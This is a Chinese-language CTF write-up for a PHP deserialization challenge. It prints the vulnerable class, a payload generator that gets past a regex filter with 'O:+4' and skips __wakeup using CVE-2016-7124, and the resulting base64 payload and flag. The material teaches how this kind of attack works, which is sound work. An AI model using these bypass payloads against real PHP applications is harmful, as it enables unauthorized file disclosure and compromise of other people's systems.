前言
PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息。具体来说,攻击者可以通过在序列化对象中添加恶意代码来利用该漏洞,当PHP反序列化该对象时,恶意代码就会被执行。这种漏洞的存在可能导致应用程序被攻击者完全控制,从而造成损失。因此,使用安全的序列化方法和对输入进行过滤和验证是防止该漏洞的关键。
一、Web_php_unserialize
1.题目
2.答题
点开网址发现代码:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
这边看到了__wakeup函数,得知这题考察的是php反序列化漏洞,而且根据提示可知the secret is in the fl4g.php
,密钥在flag4中,构造反序列代码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$b = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$b = str_replace('O:4', 'O:+4',$b);//绕过preg_match
$b = str_replace(':1:', ':2:',$b);//绕过wakeup
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
echo (base64_encode($b));
?>
在线运行php函数网址:https://tool.lu/coderunner/
得到TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
代码解释:
- 用+4替换成4是为了绕过preg_match的正则表达式
- 同样的把2替换成1是利用了CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
最后按照题目的意思encode一下base64就获取反序列化的结果,get传参即可
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag:ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}